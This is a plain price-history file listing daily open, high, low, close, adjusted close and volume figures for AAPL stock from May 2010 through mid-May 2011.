-2010-05-05,36.14714431762695,36.87714385986328,35.53285598754883,36.56999969482422,31.819595336914062,220775800.0,AAPL -2010-05-06,36.26142883300781,36.89285659790039,28.464284896850586,35.17856979370117,30.608903884887695,321465200.0,AAPL -2010-05-07,34.81571578979492,35.22428512573242,32.172855377197266,33.69428634643555,29.31743049621582,419004600.0,AAPL -2010-05-10,35.75,36.378570556640625,35.5042839050293,36.28428649902344,31.57098960876465,246076600.0,AAPL -2010-05-11,35.977142333984375,37.12714385986328,35.78571319580078,36.645713806152344,31.885467529296875,212226700.0,AAPL -2010-05-12,37.03428649902344,37.59000015258789,36.9571418762207,37.441429138183594,32.577823638916016,163594900.0,AAPL -2010-05-13,37.60285568237305,37.85714340209961,36.628570556640625,36.908573150634766,32.11418151855469,149928100.0,AAPL -2010-05-14,36.4514274597168,36.63999938964844,35.64285659790039,36.2599983215332,31.549863815307617,189840700.0,AAPL -2010-05-17,36.38571548461914,36.59714126586914,35.387142181396484,36.317142486572266,31.599586486816406,190708700.0,AAPL -2010-05-18,36.711429595947266,36.93571472167969,35.751426696777344,36.051429748535156,31.368371963500977,195669600.0,AAPL -2010-05-19,35.64285659790039,36.13142776489258,34.978572845458984,35.477142333984375,30.868698120117188,256431700.0,AAPL -2010-05-20,34.55428695678711,34.83571243286133,33.744285583496094,33.96571350097656,29.553607940673828,320728800.0,AAPL -2010-05-21,33.2599983215332,34.92856979370117,33.04999923706055,34.61714172363281,30.120405197143555,305972800.0,AAPL -2010-05-24,35.325714111328125,35.842857360839844,35.18000030517578,35.251426696777344,30.672298431396484,188559700.0,AAPL -2010-05-25,34.19285583496094,35.251426696777344,33.880001068115234,35.031429290771484,30.48088836669922,262001600.0,AAPL -2010-05-26,35.72571563720703,36.01856994628906,34.82143020629883,34.87285614013672,30.342910766601562,212663500.0,AAPL -2010-05-27,35.79999923706055,36.27000045776367,35.58714294433594,36.19285583496094,31.491439819335938,166570600.0,AAPL -2010-05-28,37.05571365356445,37.05714416503906,36.19285583496094,36.6971435546875,31.930221557617188,203903700.0,AAPL -2010-06-01,37.09857177734375,37.99142837524414,36.994285583496094,37.26142883300781,32.42120361328125,219118200.0,AAPL -2010-06-02,37.79142761230469,37.82857131958008,37.189998626708984,37.7071418762207,32.80902099609375,172137000.0,AAPL -2010-06-03,37.88285827636719,37.93571472167969,37.2014274597168,37.58856964111328,32.70585250854492,162526700.0,AAPL -2010-06-04,36.887142181396484,37.41428756713867,36.37571334838867,36.56571578979492,31.815858840942383,189576100.0,AAPL -2010-06-07,36.8985710144043,37.021427154541016,35.7928581237793,35.84857177734375,31.19187355041504,221735500.0,AAPL -2010-06-08,36.17714309692383,36.25714111328125,35.092857360839844,35.61857223510742,30.991750717163086,250192600.0,AAPL -2010-06-09,35.924285888671875,35.985713958740234,34.64142990112305,34.74285888671875,30.22979164123535,213657500.0,AAPL -2010-06-10,34.977142333984375,35.854286193847656,34.599998474121094,35.78714370727539,31.138431549072266,194089000.0,AAPL -2010-06-11,35.461429595947266,36.26571273803711,35.33856964111328,36.21571350097656,31.511323928833008,136439800.0,AAPL -2010-06-14,36.56571578979492,37.021427154541016,36.28714370727539,36.325714111328125,31.607044219970703,150740100.0,AAPL -2010-06-15,36.52000045776367,37.121429443359375,36.5,37.09857177734375,32.27949905395508,146268500.0,AAPL -2010-06-16,37.29999923706055,38.25,37.23285675048828,38.17856979370117,33.219207763671875,195919500.0,AAPL -2010-06-17,38.657142639160156,38.985713958740234,38.5,38.83856964111328,33.793479919433594,218213800.0,AAPL -2010-06-18,38.89285659790039,39.28571319580078,38.77428436279297,39.15285873413086,34.066932678222656,196155400.0,AAPL -2010-06-21,39.66999816894531,39.85857009887695,38.38999938964844,38.5957145690918,33.58217239379883,194122600.0,AAPL -2010-06-22,38.880001068115234,39.424285888671875,38.78571319580078,39.121429443359375,34.03959274291992,179315500.0,AAPL -2010-06-23,39.22571563720703,39.237144470214844,38.271427154541016,38.709999084472656,33.68159866333008,192114300.0,AAPL -2010-06-24,38.71428680419922,39.02857208251953,38.29999923706055,38.42856979370117,33.43673324584961,178569300.0,AAPL -2010-06-25,38.58000183105469,38.61000061035156,37.97285842895508,38.099998474121094,33.15084457397461,137485600.0,AAPL -2010-06-28,38.13285827636719,38.53571319580078,37.788570404052734,38.32857131958008,33.3497314453125,146237000.0,AAPL -2010-06-29,37.73143005371094,37.77000045776367,36.32857131958008,36.5957145690918,31.84196662902832,283336200.0,AAPL -2010-06-30,36.672855377197266,36.85285568237305,35.71571350097656,35.932857513427734,31.26521873474121,184863000.0,AAPL -2010-07-01,36.32857131958008,36.400001525878906,34.7457160949707,35.49714279174805,30.88610076904297,255724000.0,AAPL -2010-07-02,35.78428649902344,35.84714126586914,34.74285888671875,35.27714157104492,30.694679260253906,173460700.0,AAPL -2010-07-06,35.85714340209961,36.11428451538086,35.165714263916016,35.51856994628906,30.904748916625977,153808900.0,AAPL -2010-07-07,35.78428649902344,36.96714401245117,35.67856979370117,36.952857971191406,32.152706146240234,163639000.0,AAPL -2010-07-08,37.49714279174805,37.55714416503906,36.41285705566406,36.869998931884766,32.08061981201172,184536100.0,AAPL -2010-07-09,36.698570251464844,37.128570556640625,36.4514274597168,37.08856964111328,32.270809173583984,108330600.0,AAPL -2010-07-12,36.932857513427734,37.407142639160156,36.408573150634766,36.755714416503906,31.98118019104004,140719600.0,AAPL -2010-07-13,36.61714172363281,36.628570556640625,35.20428466796875,35.97142791748047,31.29876708984375,297731000.0,AAPL -2010-07-14,35.62571334838867,36.5428581237793,35.57143020629883,36.104286193847656,31.414384841918945,203011900.0,AAPL -2010-07-15,35.461429595947266,36.709999084472656,35.32857131958008,35.92142868041992,31.255260467529297,206216500.0,AAPL -2010-07-16,36.16857147216797,36.424285888671875,35.487144470214844,35.70000076293945,31.062612533569336,259964600.0,AAPL -2010-07-19,35.6971435546875,35.6971435546875,34.228572845458984,35.08285903930664,30.525632858276367,256119500.0,AAPL -2010-07-20,34.70000076293945,36.128570556640625,34.28714370727539,35.98428726196289,31.309961318969727,268737700.0,AAPL -2010-07-21,37.869998931884766,37.878570556640625,36.28571319580078,36.31999969482422,31.602060317993164,296417800.0,AAPL -2010-07-22,36.81142807006836,37.14285659790039,36.47285842895508,37.00285720825195,32.19622802734375,161329700.0,AAPL -2010-07-23,36.727142333984375,37.1971435546875,36.611427307128906,37.13428497314453,32.310577392578125,133347200.0,AAPL -2010-07-26,37.14285659790039,37.157142639160156,36.81571578979492,37.040000915527344,32.228546142578125,105137900.0,AAPL -2010-07-27,37.26714324951172,37.82857131958008,37.18571472167969,37.72571563720703,32.825172424316406,146192900.0,AAPL -2010-07-28,37.66714096069336,37.998573303222656,37.17856979370117,37.279998779296875,32.437355041503906,129996300.0,AAPL -2010-07-29,37.244285583496094,37.521427154541016,36.58571243286133,36.87285614013672,32.08311080932617,160951700.0,AAPL -2010-07-30,36.55571365356445,37.099998474121094,36.41428756713867,36.75,31.976211547851562,112052500.0,AAPL -2010-08-02,37.20571517944336,37.512855529785156,37.08856964111328,37.407142639160156,32.5479850769043,107013900.0,AAPL -2010-08-03,37.28714370727539,37.60857009887695,37.060001373291016,37.41857147216797,32.55792999267578,104413400.0,AAPL -2010-08-04,37.5485725402832,37.7542839050293,37.18714141845703,37.568572998046875,32.68844985961914,105093800.0,AAPL -2010-08-05,37.38999938964844,37.59714126586914,37.22142791748047,37.38571548461914,32.52934265136719,72274300.0,AAPL -2010-08-06,37.111427307128906,37.355712890625,36.80428695678711,37.15571594238281,32.329219818115234,111224400.0,AAPL -2010-08-09,37.354286193847656,37.45000076293945,37.08142852783203,37.39285659790039,32.53555679321289,75782000.0,AAPL -2010-08-10,37.121429443359375,37.2071418762207,36.7928581237793,37.058570861816406,32.24470138549805,112980000.0,AAPL -2010-08-11,36.485713958740234,36.52714157104492,35.68714141845703,35.74142837524414,31.098642349243164,155013600.0,AAPL -2010-08-12,35.24142837524414,36.157142639160156,35.15999984741211,35.970001220703125,31.29752540588379,133730100.0,AAPL -2010-08-13,35.95000076293945,35.98285675048828,35.584285736083984,35.58571243286133,30.96316146850586,88717300.0,AAPL -2010-08-16,35.36857223510742,35.71571350097656,35.23143005371094,35.37714385986328,30.78168487548828,79607500.0,AAPL -2010-08-17,35.72571563720703,36.37571334838867,35.599998474121094,35.9957160949707,31.319908142089844,105660100.0,AAPL -2010-08-18,36.051429748535156,36.38142776489258,35.939998626708984,36.15285873413086,31.45663833618164,84924000.0,AAPL -2010-08-19,36.119998931884766,36.211429595947266,35.52571487426758,35.6971435546875,31.06012535095215,106676500.0,AAPL -2010-08-20,35.62714385986328,36.27428436279297,35.57143020629883,35.66285705566406,31.03028678894043,96057500.0,AAPL -2010-08-23,35.970001220703125,36.0,35.03571319580078,35.11428451538086,30.5529727935791,103510400.0,AAPL -2010-08-24,34.66714096069336,34.71428680419922,34.092857360839844,34.27571487426758,29.823331832885742,150641400.0,AAPL -2010-08-25,34.005714416503906,34.855712890625,33.88571548461914,34.698570251464844,30.191265106201172,149216900.0,AAPL -2010-08-26,35.06428527832031,35.10714340209961,34.325714111328125,34.325714111328125,29.86683464050293,116626300.0,AAPL -2010-08-27,34.53571319580078,34.658573150634766,33.65142822265625,34.51714324951172,30.033403396606445,137097800.0,AAPL -2010-08-30,34.394287109375,35.10714340209961,34.38285827636719,34.64285659790039,30.142784118652344,95822300.0,AAPL -2010-08-31,34.54999923706055,34.93714141845703,34.33571243286133,34.728572845458984,30.217363357543945,105196700.0,AAPL -2010-09-01,35.35285568237305,35.922855377197266,35.182857513427734,35.76142883300781,31.116056442260742,174259400.0,AAPL -2010-09-02,35.894287109375,36.02428436279297,35.5099983215332,36.02428436279297,31.344758987426758,103856900.0,AAPL -2010-09-03,36.441429138183594,36.968570709228516,36.35714340209961,36.96714401245117,32.16514205932617,130197200.0,AAPL -2010-09-07,36.66285705566406,37.075714111328125,36.60714340209961,36.83000183105469,32.04581832885742,85639400.0,AAPL -2010-09-08,37.111427307128906,37.77000045776367,37.014286041259766,37.560001373291016,32.68099594116211,131637800.0,AAPL -2010-09-09,37.862857818603516,38.07428741455078,37.560001373291016,37.58142852783203,32.69963455200195,109643800.0,AAPL -2010-09-10,37.59857177734375,37.78571319580078,37.342857360839844,37.630001068115234,32.74189758300781,96885600.0,AAPL -2010-09-13,37.97428512573242,38.325714111328125,37.96571350097656,38.1485710144043,33.1931037902832,97195000.0,AAPL -2010-09-14,38.029998779296875,38.452857971191406,37.931427001953125,38.29428482055664,33.31988525390625,102037600.0,AAPL -2010-09-15,38.310001373291016,38.62571334838867,38.262855529785156,38.60285568237305,33.58838653564453,107342200.0,AAPL -2010-09-16,38.605712890625,39.52428436279297,38.5,39.5099983215332,34.377685546875,163025800.0,AAPL -2010-09-17,39.66999816894531,39.70857238769531,39.09714126586914,39.33856964111328,34.22853088378906,158619300.0,AAPL -2010-09-20,39.439998626708984,40.540000915527344,39.407142639160156,40.461429595947266,35.205528259277344,164669400.0,AAPL -2010-09-21,40.551429748535156,41.04999923706055,40.3985710144043,40.538570404052734,35.27265167236328,167018600.0,AAPL -2010-09-22,40.387142181396484,41.13999938964844,40.34428405761719,41.10714340209961,35.76736068725586,146322400.0,AAPL -2010-09-23,40.9042854309082,41.82285690307617,40.85714340209961,41.27428436279297,35.91279220581055,196529200.0,AAPL -2010-09-24,41.728572845458984,41.932857513427734,41.50714111328125,41.7599983215332,36.335418701171875,162372000.0,AAPL -2010-09-27,41.99714279174805,42.104286193847656,41.57285690307617,41.59428405761719,36.19123458862305,120708700.0,AAPL -2010-09-28,41.681427001953125,41.681427001953125,39.28571319580078,40.97999954223633,35.6567268371582,258760600.0,AAPL -2010-09-29,41.03285598754883,41.40142822265625,40.85714340209961,41.0528564453125,35.72013473510742,117411000.0,AAPL -2010-09-30,41.28571319580078,41.42856979370117,40.17856979370117,40.53571319580078,35.27015686035156,168347900.0,AAPL -2010-10-01,40.878570556640625,40.939998626708984,40.19285583496094,40.36000061035156,35.11727523803711,112035700.0,AAPL -2010-10-04,40.228572845458984,40.41428756713867,39.681427001953125,39.80571365356445,34.634979248046875,108825500.0,AAPL -2010-10-05,40.28571319580078,41.349998474121094,40.2599983215332,41.27714157104492,35.915283203125,125491800.0,AAPL -2010-10-06,41.369998931884766,41.71285629272461,40.751426696777344,41.31285858154297,35.946353912353516,167717200.0,AAPL -2010-10-07,41.477142333984375,41.49714279174805,40.987144470214844,41.317142486572266,35.9500846862793,102099900.0,AAPL -2010-10-08,41.672855377197266,42.07143020629883,41.42856979370117,42.0099983215332,36.55293655395508,164600800.0,AAPL -2010-10-11,42.105712890625,42.46285629272461,42.08571243286133,42.19428634643555,36.71328353881836,106938300.0,AAPL -2010-10-12,42.2014274597168,42.78571319580078,41.78428649902344,42.6485710144043,37.10856246948242,139636000.0,AAPL -2010-10-13,42.88571548461914,43.137142181396484,42.82857131958008,42.87714385986328,37.30744171142578,157523100.0,AAPL -2010-10-14,43.09857177734375,43.209999084472656,42.91428756713867,43.18714141845703,37.57716751098633,108824100.0,AAPL -2010-10-15,43.91999816894531,45.0,43.558570861816406,44.96285629272461,39.12221908569336,230548500.0,AAPL -2010-10-18,45.4957160949707,45.57143020629883,44.8985710144043,45.42856979370117,39.52744674682617,273252700.0,AAPL -2010-10-19,43.342857360839844,44.82428741455078,42.86000061035156,44.21285629272461,38.469642639160156,308196000.0,AAPL -2010-10-20,44.14285659790039,44.89285659790039,43.83856964111328,44.361427307128906,38.59892654418945,180406100.0,AAPL -2010-10-21,44.62285614013672,44.96285629272461,43.82857131958008,44.21714401245117,38.47338104248047,137865000.0,AAPL -2010-10-22,44.15285873413086,44.29142761230469,43.75714111328125,43.924285888671875,38.21855926513672,93194500.0,AAPL -2010-10-25,44.15571594238281,44.514286041259766,44.06285858154297,44.119998931884766,38.388851165771484,98115500.0,AAPL -2010-10-26,43.83856964111328,44.248573303222656,43.66428756713867,44.00714111328125,38.290645599365234,98232400.0,AAPL -2010-10-27,43.95000076293945,44.271427154541016,43.657142639160156,43.97571563720703,38.2633056640625,99750700.0,AAPL -2010-10-28,43.99285888671875,44.0,42.985713958740234,43.605712890625,37.94137191772461,137762800.0,AAPL -2010-10-29,43.461429595947266,43.6971435546875,42.98143005371094,42.99714279174805,37.41184997558594,107627800.0,AAPL -2010-11-01,43.174285888671875,43.657142639160156,43.17142868041992,43.45428466796875,37.80961608886719,105972300.0,AAPL -2010-11-02,43.85714340209961,44.31285858154297,43.85714340209961,44.19428634643555,38.4534912109375,108482500.0,AAPL -2010-11-03,44.48143005371094,44.6971435546875,44.075714111328125,44.68571472167969,38.881080627441406,127087100.0,AAPL -2010-11-04,45.06428527832031,45.7400016784668,45.0042839050293,45.46714401245117,39.561004638671875,160622000.0,AAPL -2010-11-05,45.42714309692383,45.65285873413086,45.25,45.30428695678711,39.41930389404297,90313300.0,AAPL -2010-11-08,45.31428527832031,45.681427001953125,45.251426696777344,45.51714324951172,39.60451126098633,70439600.0,AAPL -2010-11-09,45.86428451538086,45.900001525878906,44.92856979370117,45.1542854309082,39.288787841796875,95886000.0,AAPL -2010-11-10,45.23428726196289,45.538570404052734,44.7928581237793,45.432857513427734,39.53116226196289,96056800.0,AAPL -2010-11-11,45.0,45.485713958740234,44.89285659790039,45.235713958740234,39.359642028808594,90321000.0,AAPL -2010-11-12,45.14285659790039,45.21428680419922,43.37571334838867,44.0042839050293,38.28816223144531,198961700.0,AAPL -2010-11-15,44.06571578979492,44.362857818603516,43.75285720825195,43.862857818603516,38.16511535644531,100901500.0,AAPL -2010-11-16,43.674285888671875,43.94285583496094,42.7599983215332,43.084285736083984,37.48768615722656,164412500.0,AAPL -2010-11-17,43.02857208251953,43.42714309692383,42.53714370727539,42.92856979370117,37.352176666259766,119862400.0,AAPL -2010-11-18,43.599998474121094,44.23857116699219,43.52714157104492,44.06142807006836,38.337890625,123622800.0,AAPL -2010-11-19,43.9957160949707,44.05714416503906,43.605712890625,43.818572998046875,38.12657928466797,96210800.0,AAPL -2010-11-22,43.81142807006836,44.76571273803711,43.69571304321289,44.76571273803711,38.95068359375,98268800.0,AAPL -2010-11-23,44.349998474121094,44.53571319580078,43.79428482055664,44.104286193847656,38.375179290771484,129861900.0,AAPL -2010-11-24,44.57143020629883,45.05714416503906,44.53571319580078,44.97142791748047,39.129676818847656,103431300.0,AAPL -2010-11-26,44.81999969482422,45.38571548461914,44.70571517944336,45.0,39.154537200927734,59396400.0,AAPL -2010-11-29,45.07143020629883,45.354286193847656,44.48285675048828,45.26714324951172,39.386993408203125,111446300.0,AAPL -2010-11-30,44.79142761230469,44.908573150634766,44.40999984741211,44.45000076293945,38.67597961425781,125464500.0,AAPL -2010-12-01,45.038570404052734,45.39285659790039,45.0,45.20000076293945,39.32855987548828,115437700.0,AAPL -2010-12-02,45.361427307128906,45.57143020629883,44.98428726196289,45.45000076293945,39.54607391357422,115709300.0,AAPL -2010-12-03,45.28714370727539,45.521427154541016,45.191429138183594,45.34857177734375,39.45783996582031,85523200.0,AAPL -2010-12-06,45.52000045776367,46.047142028808594,45.48857116699219,45.735713958740234,39.79469299316406,112120400.0,AAPL -2010-12-07,46.25714111328125,46.28428649902344,45.44571304321289,45.45857238769531,39.553550720214844,97863500.0,AAPL -2010-12-08,45.66143035888672,45.86000061035156,45.301429748535156,45.85857009887695,39.90157699584961,80483900.0,AAPL -2010-12-09,46.01856994628906,46.07143020629883,45.57428741455078,45.68000030517578,39.746212005615234,73537800.0,AAPL -2010-12-10,45.66428756713867,45.86428451538086,45.514286041259766,45.79428482055664,39.845645904541016,65627800.0,AAPL -2010-12-13,46.33856964111328,46.43714141845703,45.85714340209961,45.952857971191406,39.98362731933594,109953900.0,AAPL -2010-12-14,45.961429595947266,46.077144622802734,45.57143020629883,45.755714416503906,39.81209182739258,87752000.0,AAPL -2010-12-15,45.71428680419922,46.14285659790039,45.59857177734375,45.76571273803711,39.82079315185547,104328000.0,AAPL -2010-12-16,45.869998931884766,46.08714294433594,45.728572845458984,45.89285659790039,39.93141555786133,80507700.0,AAPL -2010-12-17,45.9471435546875,45.970001220703125,45.74714279174805,45.801429748535156,39.85186004638672,96732300.0,AAPL -2010-12-20,45.94285583496094,46.17856979370117,45.461429595947266,46.029998779296875,40.05073928833008,96402600.0,AAPL -2010-12-21,46.14285659790039,46.341426849365234,46.00714111328125,46.31428527832031,40.29810333251953,64088500.0,AAPL -2010-12-22,46.33714294433594,46.531429290771484,46.22142791748047,46.4514274597168,40.41743087768555,66480400.0,AAPL -2010-12-23,46.42856979370117,46.45000076293945,46.16714096069336,46.228572845458984,40.2235221862793,55789300.0,AAPL -2010-12-27,46.121429443359375,46.49142837524414,45.931427001953125,46.38285827636719,40.3577766418457,62454000.0,AAPL -2010-12-28,46.558570861816406,46.665714263916016,46.43714141845703,46.4957160949707,40.455963134765625,43981000.0,AAPL -2010-12-29,46.60285568237305,46.63571548461914,46.44285583496094,46.470001220703125,40.43360137939453,40784800.0,AAPL -2010-12-30,46.49714279174805,46.501426696777344,46.150001525878906,46.237144470214844,40.230979919433594,39373600.0,AAPL -2010-12-31,46.13571548461914,46.211429595947266,45.90142822265625,46.08000183105469,40.09425354003906,48377000.0,AAPL -2011-01-03,46.52000045776367,47.18000030517578,46.40571594238281,47.08142852783203,40.96559143066406,111284600.0,AAPL -2011-01-04,47.49142837524414,47.5,46.878570556640625,47.327144622802734,41.17939758300781,77270200.0,AAPL -2011-01-05,47.07857131958008,47.762855529785156,47.07143020629883,47.71428680419922,41.5162467956543,63879900.0,AAPL -2011-01-06,47.817142486572266,47.89285659790039,47.55714416503906,47.67571258544922,41.48268127441406,75107200.0,AAPL -2011-01-07,47.71285629272461,48.04999923706055,47.41428756713867,48.01714324951172,41.779762268066406,77982800.0,AAPL -2011-01-10,48.4042854309082,49.03285598754883,48.16714096069336,48.92142868041992,42.56658935546875,112140000.0,AAPL -2011-01-11,49.26856994628906,49.279998779296875,48.4957160949707,48.80571365356445,42.46589660644531,111027000.0,AAPL -2011-01-12,49.03571319580078,49.20428466796875,48.85714340209961,49.202857971191406,42.81144714355469,75647600.0,AAPL -2011-01-13,49.308570861816406,49.52000045776367,49.121429443359375,49.38285827636719,42.96806716918945,74195100.0,AAPL -2011-01-14,49.41285705566406,49.78285598754883,49.20571517944336,49.78285598754883,43.31611251831055,77210000.0,AAPL -2011-01-18,47.07428741455078,49.251426696777344,46.57143020629883,48.66428756713867,42.34284210205078,470249500.0,AAPL -2011-01-19,49.764286041259766,49.79999923706055,48.12571334838867,48.40571594238281,42.117862701416016,283903200.0,AAPL -2011-01-20,48.06142807006836,48.32857131958008,47.15999984741211,47.52571487426758,41.3521614074707,191197300.0,AAPL -2011-01-21,47.681427001953125,47.84000015258789,46.66143035888672,46.674285888671875,40.6113395690918,188600300.0,AAPL -2011-01-24,46.69571304321289,48.2071418762207,46.674285888671875,48.2071418762207,41.9450798034668,143670800.0,AAPL -2011-01-25,48.047142028808594,48.77714157104492,47.79571533203125,48.771427154541016,42.43606948852539,136717000.0,AAPL -2011-01-26,48.994285583496094,49.371429443359375,48.78571319580078,49.121429443359375,42.7406005859375,126718900.0,AAPL -2011-01-27,49.111427307128906,49.24142837524414,48.97571563720703,49.029998779296875,42.66104507446289,71256500.0,AAPL -2011-01-28,49.16714096069336,49.20000076293945,47.64714431762695,48.014286041259766,41.777286529541016,148014300.0,AAPL -2011-01-31,47.97142791748047,48.577144622802734,47.75714111328125,48.47428512573242,42.177520751953125,94311700.0,AAPL -2011-02-01,48.75714111328125,49.378570556640625,48.711429595947266,49.290000915527344,42.88726806640625,106658300.0,AAPL -2011-02-02,49.2071418762207,49.32143020629883,49.07857131958008,49.18857192993164,42.79903030395508,64738800.0,AAPL -2011-02-03,49.11428451538086,49.17714309692383,48.36428451538086,49.06285858154297,42.689640045166016,98449400.0,AAPL -2011-02-04,49.091426849365234,49.52857208251953,49.07285690307617,49.5,43.06999588012695,80460100.0,AAPL -2011-02-07,49.698570251464844,50.46428680419922,49.66285705566406,50.26856994628906,43.73871994018555,121255400.0,AAPL -2011-02-08,50.52571487426758,50.788570404052734,50.30714416503906,50.74285888671875,44.151405334472656,95260200.0,AAPL -2011-02-09,50.74142837524414,51.28571319580078,50.69571304321289,51.165714263916016,44.51933670043945,120686300.0,AAPL -2011-02-10,51.05571365356445,51.42856979370117,49.71428680419922,50.6485710144043,44.06937026977539,232137500.0,AAPL -2011-02-11,50.67856979370117,51.11428451538086,50.505714416503906,50.978572845458984,44.35649871826172,91893200.0,AAPL -2011-02-14,50.970001220703125,51.354286193847656,50.95857238769531,51.31142807006836,44.64611053466797,77604100.0,AAPL -2011-02-15,51.31285858154297,51.424285888671875,51.07857131958008,51.41428756713867,44.735626220703125,71043700.0,AAPL -2011-02-16,51.5428581237793,52.128570556640625,51.5,51.87571334838867,45.13711166381836,120289400.0,AAPL -2011-02-17,51.03571319580078,51.46714401245117,50.931427001953125,51.18571472167969,44.5367317199707,132645800.0,AAPL -2011-02-18,51.244285583496094,51.35714340209961,49.931427001953125,50.08000183105469,43.574649810791016,204014300.0,AAPL -2011-02-22,48.878570556640625,49.342857360839844,48.2457160949707,48.37285614013672,42.089271545410156,218138900.0,AAPL -2011-02-23,48.395713806152344,49.23428726196289,48.37285614013672,48.94571304321289,42.58771896362305,167963600.0,AAPL -2011-02-24,49.145713806152344,49.30714416503906,48.33856964111328,48.98285675048828,42.620025634765625,124975200.0,AAPL -2011-02-25,49.32285690307617,49.77571487426758,49.25714111328125,49.737144470214844,43.276336669921875,95004700.0,AAPL -2011-02-28,50.17714309692383,50.72142791748047,50.15999984741211,50.45857238769531,43.904056549072266,100768500.0,AAPL -2011-03-01,50.781429290771484,50.817142486572266,49.66857147216797,49.90142822265625,43.41928482055664,114034200.0,AAPL -2011-03-02,49.994285583496094,50.621429443359375,49.771427154541016,50.3028564453125,43.768558502197266,150647700.0,AAPL -2011-03-03,51.02714157104492,51.3985710144043,50.8457145690918,51.36571502685547,44.69335174560547,125197100.0,AAPL -2011-03-04,51.43857192993164,51.470001220703125,51.10714340209961,51.42856979370117,44.7480583190918,113316700.0,AAPL -2011-03-07,51.628570556640625,51.66714096069336,50.18714141845703,50.76571273803711,44.171287536621094,136530800.0,AAPL -2011-03-08,50.7014274597168,51.05714416503906,50.32143020629883,50.82285690307617,44.22101593017578,89079200.0,AAPL -2011-03-09,50.66999816894531,50.68000030517578,50.08571243286133,50.35285568237305,43.81206512451172,113326500.0,AAPL -2011-03-10,49.87428665161133,49.96714401245117,49.271427154541016,49.52428436279297,43.091129302978516,126884800.0,AAPL -2011-03-11,49.33285903930664,50.33142852783203,49.28571319580078,50.28428649902344,43.75240707397461,117770100.0,AAPL -2011-03-14,50.45428466796875,50.92571258544922,50.18714141845703,50.50857162475586,43.94755554199219,108989300.0,AAPL -2011-03-15,48.871429443359375,49.691429138183594,48.58571243286133,49.34714126586914,42.93698501586914,180270300.0,AAPL -2011-03-16,48.85714340209961,49.0,46.60857009887695,47.144287109375,41.02028274536133,290502800.0,AAPL -2011-03-17,48.11857223510742,48.51571273803711,47.237144470214844,47.80571365356445,41.59579086303711,164855600.0,AAPL -2011-03-18,48.16143035888672,48.31428527832031,47.14285659790039,47.23857116699219,41.102317810058594,188303500.0,AAPL -2011-03-21,47.998573303222656,48.53428649902344,47.894287109375,48.47142791748047,42.17503356933594,102350500.0,AAPL -2011-03-22,48.93714141845703,48.94571304321289,48.448570251464844,48.74285888671875,42.41120529174805,81480700.0,AAPL -2011-03-23,48.468570709228516,48.60285568237305,47.99285888671875,48.45571517944336,42.1613655090332,93249100.0,AAPL -2011-03-24,48.83571243286133,49.42856979370117,48.408573150634766,49.281429290771484,42.879825592041016,101178000.0,AAPL -2011-03-25,49.72428512573242,50.29428482055664,49.57428741455078,50.220001220703125,43.696475982666016,112227500.0,AAPL -2011-03-28,50.45000076293945,50.61714172363281,50.06285858154297,50.06285858154297,43.55972671508789,77338800.0,AAPL -2011-03-29,49.665714263916016,50.137142181396484,49.43714141845703,50.137142181396484,43.62438201904297,88225200.0,AAPL -2011-03-30,50.091426849365234,50.12571334838867,49.63428497314453,49.80428695678711,43.33475875854492,82351500.0,AAPL -2011-03-31,49.47999954223633,49.97142791748047,49.43714141845703,49.78714370727539,43.31984329223633,68504800.0,AAPL -2011-04-01,50.158573150634766,50.227142333984375,49.0428581237793,49.22285842895508,42.82886505126953,104665400.0,AAPL -2011-04-04,49.18714141845703,49.228572845458984,48.342857360839844,48.74142837524414,42.40995788574219,115021200.0,AAPL -2011-04-05,48.14142990112305,48.89285659790039,48.0,48.41285705566406,42.12406921386719,120682800.0,AAPL -2011-04-06,48.7457160949707,49.128570556640625,48.16285705566406,48.29142761230469,42.0184211730957,100634800.0,AAPL -2011-04-07,48.29999923706055,48.63285827636719,48.0042839050293,48.297142028808594,42.02338409423828,93361800.0,AAPL -2011-04-08,48.560001373291016,48.592857360839844,47.7071418762207,47.86571502685547,41.648006439208984,94383800.0,AAPL -2011-04-11,47.72285842895508,47.952857971191406,47.145713806152344,47.25714111328125,41.11847686767578,99736700.0,AAPL -2011-04-12,47.21285629272461,47.67571258544922,47.17142868041992,47.485713958740234,41.31736755371094,106409800.0,AAPL -2011-04-13,47.86000061035156,48.02000045776367,47.50285720825195,48.01856994628906,41.781009674072266,86555000.0,AAPL -2011-04-14,47.82857131958008,48.0,47.43714141845703,47.48857116699219,41.31985092163086,75450200.0,AAPL -2011-04-15,47.61428451538086,47.66285705566406,46.68571472167969,46.779998779296875,40.703330993652344,113401400.0,AAPL -2011-04-18,46.58571243286133,47.461429595947266,45.737144470214844,47.407142639160156,41.24899673461914,152474700.0,AAPL -2011-04-19,47.58571243286133,48.28285598754883,47.387142181396484,48.26571273803711,41.99603271484375,104844600.0,AAPL -2011-04-20,49.07285690307617,49.39285659790039,48.78571319580078,48.915714263916016,42.561614990234375,175166600.0,AAPL -2011-04-21,50.71428680419922,50.73285675048828,49.788570404052734,50.099998474121094,43.59205627441406,188452600.0,AAPL -2011-04-25,50.0485725402832,50.53571319580078,50.0428581237793,50.43000030517578,43.87919235229492,66636500.0,AAPL -2011-04-26,50.51714324951172,50.71285629272461,49.907142639160156,50.060001373291016,43.557247161865234,84700000.0,AAPL -2011-04-27,50.31999969482422,50.33571243286133,49.58571243286133,50.021427154541016,43.5236930847168,89053300.0,AAPL -2011-04-28,49.45571517944336,49.96428680419922,49.36000061035156,49.53571319580078,43.10106658935547,90239800.0,AAPL -2011-04-29,49.540000915527344,50.56428527832031,49.52428436279297,50.01856994628906,43.521209716796875,251586300.0,AAPL -2011-05-02,49.96285629272461,50.067142486572266,49.35714340209961,49.468570709228516,43.04266357421875,110678400.0,AAPL -2011-05-03,49.71285629272461,49.98428726196289,49.37428665161133,49.74285888671875,43.281314849853516,78337000.0,AAPL -2011-05-04,49.751426696777344,50.26142883300781,49.55428695678711,49.93857192993164,43.45159912109375,97312600.0,AAPL -2011-05-05,49.771427154541016,50.13571548461914,49.43571472167969,49.53571319580078,43.10106658935547,83992300.0,AAPL -2011-05-06,49.95571517944336,50.0,49.45857238769531,49.522857666015625,43.08988952636719,70033600.0,AAPL -2011-05-09,49.69428634643555,49.88571548461914,49.5042839050293,49.657142639160156,43.206729888916016,51186800.0,AAPL -2011-05-10,49.841426849365234,49.95571517944336,49.522857666015625,49.92142868041992,43.436683654785156,70522900.0,AAPL -2011-05-11,49.86000061035156,50.0,49.31999969482422,49.604286193847656,43.160736083984375,84000000.0,AAPL -2011-05-12,49.44571304321289,49.58856964111328,48.895713806152344,49.5099983215332,43.07870101928711,80500000.0,AAPL -2011-05-13,49.380001068115234,49.46428680419922,48.621429443359375,48.64285659790039,42.32419204711914,81529000.0,AAPL 